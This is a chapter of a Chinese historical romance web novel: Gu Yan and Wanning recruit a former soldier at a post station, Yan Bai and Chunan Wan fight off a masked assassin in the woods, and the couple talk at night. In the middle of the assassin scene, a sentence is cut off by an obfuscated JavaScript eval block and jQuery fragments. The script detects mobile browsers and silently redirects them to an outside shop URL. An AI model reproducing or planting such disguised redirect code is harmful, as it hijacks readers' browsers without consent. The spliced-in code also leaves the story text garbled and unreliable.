57.夜絮
    山间虫鸣携了风来,卷进耳朵里,一阵聒噪。

    “粟果?”晚宁少触律法,还不知道粟果是什么东西,她爱吃果子,可此时听来,这粟果似不是什么好东西。

    顾言则神色忧虑,他蹙眉望着叱罗桓,半晌没说出话来,而后缓缓开口,道:“刘宣,在干什么?”

    叱罗桓只是混在商队里捞钱的,怎么知道刘宣是谁,一脸奇异,看向晚宁,似是求助。

    晚宁晓得,忙给他解释了一番,“刘宣是竟州的统辖,大俞亲王,皇帝的叔叔。”

    叱罗桓长长地哦了一声,须臾之间便转而有些委屈起来,“我不知道啊,我又不认识他,我看见那些官兵吃得可香了,就想着大事不妙,赶紧出了城,我可是连夜赶回来的。”

    那驿馆里新来的管事一边收拾着客房,一边听着外面的动静,似是耳力极好。

    他整理好东西,走出客房,望着眼前正在讲话的三人,不自觉地抓着自己的衣角,反复揉着,似是有什么话,他不知当说还是不当说,嘴里反复咬着牙齿,最后终于开口道:“刘宣管不了,竟州的兵,已经废了。”

    顾言闻言,转身看向这个站在客房门口满脸挫败的管事,见他似有胆怯之意,便知他应当知道些旁人不知的事情。

    他走到他面前,两人对视,视线刚好齐平,“你是什么人,知道些什么?”统帅看兵的眼神,落在那管事身上。

    “侯爷,竟州的兵,已经废了……”管事的重复了一遍,似有千万重艰难堵在他心头,此时再多的话语,皆难以启齿。

    顾言看他如此模样,便知他原来应当是个兵卒,“你怎会在这里?”

    “我不愿与他们为伍,他们便觉着我不合群,排挤我,后来刘宣寻人来管这破驿馆,他们便说我不堪大用,一身蛮力,实则那云梯枪杆皆是他们毁坏的,亦说我惹事生非,扰乱军心,刘宣认为,少数服从多数,便把我弄到这里来了。”

    晚宁听他说得好像挺伤心的,便走到顾言身边,想着安慰几句,可话还没出口,那管事的居然笑了,似是释然。

    “不过我在这也挺好,无人打扰,安安静静地自己过日子,这里什么都有,王府定时会送补给来,偶尔接待一下过路的客商,也算自在。”

    顾言默默盯着那管事,不说话,那管事见了,也直直盯着顾言,一动不动。

    而后顾言笑起,道:“有骨气。”

    那管事也不怯,道:“谢侯爷赏识。”

    “姓名。”

    “左柯。”

    晚宁知道这什么意思,转身不再理会,回到桌边,招呼叱罗桓坐下,发现少了双筷子,又起身四处寻找。

    左柯留意到晚宁四处寻着什么,立即想到此时客堂里已是多了一个人,于是看了一眼顾言,见他没有反对之意,便对晚宁喊道:“夫人,碗筷在厨房里,我去拿。”

    他转向顾言,微微一笑,而后便绕过他,往外走,穿过光亮,又踏入夜色。

    顾言盯着他出门往厨房里去,觉得此人似是有点意思。

    他回到桌边坐下,给叱罗桓倒了杯水,“还发现什么没有?”

    叱罗桓想了想,眼睛一亮,竖起食指举到额角,月支人独有的小动作,“我往回赶的路上,没有看见其他商队,官兵要长期有得吃,那些仓羯人应该是会停留些时日,等下一支商队来了,再接替而出。”

    “那我们还有机会抓住他们。”晚宁一边夹着菜塞嘴里,一边说道。

    顾言看着桌面,指节一下下的叩着,桌面发出咚咚声,回荡着空空的客堂里。

    “叱罗桓,你与我一起,明天进城后,我们去看看情况。”

    晚宁不干,一拍桌子,道:“我也去。”

    顾言看着她,不知如何是好,心中反复纠结,他是不想让她去的,情况不明,恐有不测,他怕若护不住她,可如何了得……

    左柯此时拿了碗筷走进来,放在了桌上,“他们只卖给官兵,官兵会联合起来,帮他们一起销毁罪证……”

    叱罗桓拿起碗筷,大口吃了起来,一边往嘴里夹菜,还一边问左柯要不要吃,左柯摇了摇头,说自己早就吃过了,叱罗桓给了一通夸赞之后,吃得津津有味。

    “我一天没吃东西了,我现在才想起来。”叱罗桓含着满嘴饭菜,模模糊糊地说着。

    “你倒真尽心。”顾言一边给晚宁夹菜,一边看着叱罗桓,只担心他把东西吃完了,晚宁会饿着。

    晚宁拍了拍他的手,用眼睛告诉他,让他自己吃,碗里已经够多了,他方才反应过来。

    “你说了,去哪里都带我的。”晚宁小心翼翼地从碗里的一堆菜里扯出一根塞进嘴里。

    “好,知道了。”顾言是没办法拒绝的,他答应过她,也知她性子,不是关得住的,若偷偷跑了去,便更难收场。

    左柯站在一边,靠着桌子,看着顾言的一举一动,时而蹙眉,时而微笑,似是觉得这侯爷有趣的很。

    “夫人,多吃些,饿着你了侯爷定是要怪罪我的。”

    顾言觉得这人似是一点也不怕以下犯上,转头问道,“你是哪里人,怎么入的军?”

    “我是宁州人,我爹是老侯爷的副手,左禄。”说着,左柯自己抽了张条凳,坐了下来,“侯爷,你我小时候见过,几面?”

    顾言想起来,翌阳军营帐里,时常会有个小男孩出现,黑黑的,瘦瘦的,却从不愿与他说话,只是时常躲在角落里看他,但他要是走过去,那个小男孩便会跑掉。

    彼时只觉得是某个军士的家属,便从未留心追问过,亦是不感兴趣的缘故。

    “是你?”顾言看着这身型壮硕的男子,一点也想象不出来,他竟是那个黑黑瘦瘦的小男孩儿。

    “侯爷,你那兵权,还需快些拿回,否则,翌阳军,危矣。”左柯手肘撑在膝上,俯身靠近顾言,一双眼睛似是警告一般望着顾言。

    多年来还是第一次有人敢这么盯着他,顾言倒觉得这人更有趣了,他亦靠近他,四目相对,警告地眼神相互试探,如同两头为了争夺地盘而将要开战的狮子。

    晚宁在一边看着,只觉得左柯似是太无礼了些,放下筷子,手摸到腰后,走到顾言身侧,弯刀一拔,一弦明月指向左柯,“左校尉,注意你的分寸。”

    顾言也很惊讶,瞪大了眼睛,见晚宁似是急了,抬手把她的刀子按下,自己看着左柯,装作一脸抱歉状,“不好意思,我这媳妇儿有点凶,吓着你了。”

    “裘家小姐向来任性,我早就听说了,无妨~”左柯倒是真真的不客气。

    晚宁可不惯着左柯,挣脱了顾言的手,往前一步,刀锋瞬间架在左柯脖子上,逼得左柯整个人靠向身后的桌子,险些从条凳上滑落下去,“你知道的太多,我怎么知道你是不是故意引我们入局?”

    顾言亦被晚宁吓了一跳,轻轻握住晚宁的手,往回拉,“阿宁,没事,放下。”

    晚宁听见顾言让她放下,思忖一二,不情愿地把刀下,却依然站在顾言身边一动不动,死死盯着左柯。

    顾言极无奈,可见晚宁如此在意自己,又觉得高兴,扶着额头,偷偷笑起来。

    左柯是被晚宁惊到了,裘家的小姐与顾家小侯爷一样顽劣他自幼便有耳闻,可未曾想过这大小姐居然还动武,他是瞪着眼睛只剩惶恐,不敢动弹,战战兢兢地撑着桌面,好不容易才仗着胆子坐起身来。

    “大小姐,夫人,我跟你家侯爷,闹着玩呢,你别吓唬我,我怕。”左柯似是委屈起来,刚刚那副胆识过人的神色此时烟消云散。

    “你知道怕便好,敢耍什么花样,看我剃了你的肉。”晚宁不信左柯,因着她想起,胡玉说过,有个副手是害死顾敬翎的帮凶。

    顾言没想那么多,只是觉得这左柯暂且看来不是坏人,他伸手拉了张椅子,让晚宁在他身边坐下,笑意难掩,“阿宁好威风,我都吓一跳。”

    晚宁知道这是在逗她,不服气,把脸转到一边,不看他。

    顾言只是笑着,看着她,左柯觉得自己似乎险些丢了性命,望着门外,想象着若被追杀要如何逃跑。

    叱罗桓坐在桌边,吃得欢畅,如看热闹一般,大俞人的故事真是太好玩儿,于是事不关己,专心看戏。

    顾言见晚宁不理他,决定晚些再与她解释,他看向左柯,问道:“你父亲现可还在?”

    “我父亲与老侯爷一起死了,我便随军而来。”左柯说得极洒脱,似是毫不在意一般。

    晚宁背对着他们,悄悄听着。

    顾言此时不打算深究其中细节,因着眼下还有更重要的事,“你可愿入我麾下?不过,我这儿可什么都没有。”

    左柯毅然起身,单膝跪叩,坚实的拳头锤在地面上,空心的地砖发出极大一声脆响,“听凭侯爷吩咐。”

    顾言似是满意,让他起身,“明日我们一早启程,你跟着我,晚上若要混入买粟果的官兵里,还需你来打点。”

    左柯点头应下,目光决绝,似是真的甘愿赴死,为主尽忠。

    晚宁却有些忧心,但没有说出来……

    *

    宴白和淳安婉依然沿着官道穿越山林,此时没有拐进任何一个城池,只在林子里,随意寻个地方歇脚,反正有马车,也不怕刮风下雨。

    “不知道大小姐他们到了没有。”淳安婉看着漫天星斗,想起晚宁来,她算是她第一个朋友。

    宴白生着火,火光烈烈闪动,发出木柴燃断的噼啪声,他将摸来的河鱼用木枝穿起来,放在火上慢慢地烤,香气逐渐飘出,飘进人的鼻尖里,淳安婉顿时肚子咕咕叫了起来。

    “哇,好像很好吃的样子。”她搓着手,深深呼吸着食物的气息,夹杂着林间特有的枝叶的气味,钻进她的鼻尖里,此时便是安稳的感觉。

    宴白笑了笑,“什么叫看起来很好吃,是真的很好吃好吗?侯爷亦夸过的,来,你尝尝。”他把鱼侧过来,递到淳安婉嘴边,淳安婉咬了一口,极香,吃得极开心,没想到宴白还有这手艺,倒也是惊喜的很。

    两人还有许多路要赶,所以吃山林里的东西,喝山林里的溪水定是少不得的。可他们是新婚不久,抛开随时会出现的刺客不提,此时倒有几分游山玩水的趣味。

    “侯爷说,我们许会遇上追杀他的人,故而我们要当心些,你先睡下,然后深夜里再换我睡,可好?”自幼活得卑微,淳安婉总是愿意先牺牲自己,。

    宴白拒绝,死活不同意。

    在他意识里,是没有女子守夜的,侯府里亦没有女子,他的前主子亦是言传身教,护着心爱之人,是职责。

    淳安婉见他倔强,拗不过,便索性放弃了,拍着自己的腿,彩蝶团花纹的大袖甩了甩,叹了口气,道:“那便谢谢我的夫君啦。”而后她爬上马车,钻进车厢里,躺在铺绒的地面上自己睡下。

    宴白拨弄着篝火,星星点点的火光溅起,飘飞到微风里慢慢变成一颗颗黑色的灰烬,他便那样看着,想着便如过去出门办差一般,一守就是一夜。

    可秋意渐浓,凉风习习,吹在人身上舒爽得很,伴着林间枝叶相互轻擦的声音,寂寂虫鸣此时如同安眠的夜曲,他渐渐被困意攀上神识,打起了哈欠。

    一阵睡意袭来,伴着一股烧焦的气味,他靠在旁边的树干上,不知不觉地渐渐睡了过去。

    在他闭上眼时,一双褐色的长靴踏着满地厚厚的枯叶,一步步靠近,两匹奔宵感觉到了响动,发出微微的嘶鸣声,一个身穿玄色劲装的蒙面人走到了篝火边上。

    他盯着宴白看了好一阵儿,见他没有醒转的迹象,转身走到马车边上,拉车的奔宵似有灵性,见有生人靠近,开始躁动不安,踢着马蹄来回的扭动着身子,身后车厢也跟着左右晃动。

    还没等蒙面人碰到马车,两匹奔宵已经掀起了马蹄发出极响的嘶鸣,淳安婉在异常的晃动中醒了过来。

    她掀开帘子一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928939|131336||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看,见宴白靠着树,闭着眼睛,一个蒙面人在马车边上鬼鬼祟祟,她登时抽出长剑跃下了马车,裙摆随风飘动,如夜色中洒满银辉的流云于脚边翻涌。

    那蒙面人双手带着钢甲,见只是一个女子,毫无惧意,迎面攻去。

    五指钢甲与剑相击,互为敌手,忽而抓住剑锋猛力一拉,淳安婉长剑脱手,险些被利爪划破脸颊。

    手无寸铁之际,淳安婉只能四处逃躲,而此时宴白才稍稍醒转,模糊之中,看见一玄衣刺客从自己面前掠过,淳安婉旋身跃起,他那钢爪拍在了树上,剃下了厚厚的一层木皮。

    宴白惊起,提剑刺去,那蒙面人堪堪躲过,又迎来当头一劈,躲闪不及,左肩划开一道口子,殷红的热流顺着衣裳渐渐漫开,身上一片玄色更加暗沉下去,他只能连连后退。

    淳安婉趁机拾起剑来,骤然攻去,蒙面人眼见不妙,拔腿奔逃,宴白恼怒得很,丢起手中长剑,翻身一脚踢在剑柄上,长剑破风而出,铮铮嗡鸣,瞬间莫入了蒙面人的脊背,那人随即倒地,四周枯叶片片转红。

    淳安婉上前查看,似有不悦附上脸来,“你把他杀了,如何问他来处?”

    宴白紧随其后,怒意未消,“他欺负你,便不可活,侯爷亦不会怪罪我。”

    “我知道,可现在怎么办?”淳安婉见他一副怒火中烧的模样,不好再说什么,亦知道宴白是为了护着她才这么做的。

    宴白将那蒙面人背后的剑拔出,在把他翻过来,剑锋穿透心口,他扯开他的衣襟,并未在他身上找到任何线索。

    他站起身来,回到淳安婉面前,平静下来之后亦有愧疚,低着头,“什么也没有……”

    淳安婉见他又内疚起来,也于心不忍,“无妨了,已经这样了,那就先这样吧,你说的没错,是他欺负我的,该。”

    宴白见淳安婉没怪他鲁莽,终于抬头看她,心虚地笑了笑。

    “我们出城就被盯上,侯爷的命真苦。”淳安婉完全没觉得自己命苦,倒觉得顾言挺不容易。

    宴白知她心善,摇着头笑了笑,“你觉得会是谁?”

    淳安婉皱起了眉头,俏丽的脸上挂着一抹忧愁,却显得有几分凄清之美,“我们去的是番城,难道有人不想让我们去?”

    宴白不舍她忧虑,抬手拂过她的眉心,抹开她眉间的纠结,“先不想,我们一路走去,只要达到目的即可,其他的其实不那么重要,来一个杀一个,也没什么不可。”

    似是有理,做成事情就行了,淳安婉转忧为喜,“我的夫君方才好厉害呀。”

    *

    晚宁和顾言看着叱罗桓吃饱,打发他赶紧去客房歇着,而后屏退了左柯,两人坐在客堂门槛上,静静看着星斗携月的夜色。

    树影在风中轻轻摆动,传来枝叶厮磨的声音,钻进耳朵里,盘桓在心上,缱绻又安宁。

    晚宁靠在顾言肩上,睡意渐起,闭起眼来。

    “累了就回屋吧,又不是没见过月亮。”顾言把她推起来,无奈地看着她。

    晚宁抬起手来,使劲揉了揉眼见,看了看四周,悄声道:“我是有话要与你说。”

    顾言见她鬼鬼祟祟的,有些好笑,还有些可爱,捏了捏她的脸,“要去偷什么?”

    “不是,那个左柯!”晚宁压低声音,似是极严重一般,提高了音调。

    “你要当着我面儿偷男人?”顾言见她这模样,刻意逗她。

    晚宁气得倒吸一口气,继续道:“胡玉说……”

    顾言没等她说出来,捂上了她的嘴,“有些事情,还是回屋说比较好。”

    晚宁隔着他的手,支支吾吾道:“你回屋你就不说了,你上手了呀。”

    “也可一边上手一边说嘛。”顾言说着就把她抱了起来,丝毫不理会她的挣扎。

    回到客房里,他把晚宁放在床上,转身关上门,“快说,偷什么。”

    晚宁见他没做奇奇怪怪的事情,而是坐在她身边等着她把话说完,高兴地坐了个端正。

    顾言见她这样认真,亦配合着摆出一副严肃的样子,“夫人请讲。”

    “胡玉不是说,你父亲身边有个副手被买通了吗?万一就是他爹呢?”晚宁依旧压低了声音,凑到顾言耳边,生怕被人听了去。

    顾言却笑了,抬手解开了晚宁的头发,簪子一拔,乌发涓涓落下,“我知道,只是眼下他能用,便先用着,这些事情,日后再细查。”

    晚宁却抓住了他的手,紧张起来,“不对,那万一他就是来引你的呢?叱罗桓不过在门外喊了你一声,他就听见了,显然是留意着的。”

    “我见过他父亲,印象中还算个老实的人,对我父亲唯命是从,有一次我在军中打翻我父亲的砚台,文书全都染了墨,他为了逮住我,套马的绳子都用上了。”

    晚宁惊了一下,顾言当年顽劣不羁,是名满京城的事情,可该赔的都赔,又是世袭的小侯爷,谁也不敢拿他如何,敢用套马的绳子来绑顾言,那真是尽忠职守的紧。

    她自己捋起了头发,一下下从头上顺下来,“那左柯呢?你认识他?”

    “他有时候会躲在角落里看我…我也不清楚他怎么想的,但只要我一靠近,他就会跑开,故而我们从未说过话。”

    晚宁手里的动作停住了,思绪忽然跑偏,“他不会喜欢你吧?”

    顾言也被这想法惊了一身鸡皮疙瘩,“不会吧……”

    “我不管喽,人是你要的,要纳妾的时候记得告诉我。”晚宁挪到里面,拉起被子躺了下来,那被子似是新的,跟上次比舒服了许多,松松软软的,“他倒是真的用心打理了这家驿馆,被褥都是新的。”

    顾言趁机钻进了被窝里,“妾肯定是没有的,我哄你都哄不过来,没那闲功夫。”说着扯了扯被子,给晚宁盖好,搂紧了她,“快睡,明日一早还有路要赶,先放过你。”

    “你得当心着些。”

    “我知道。”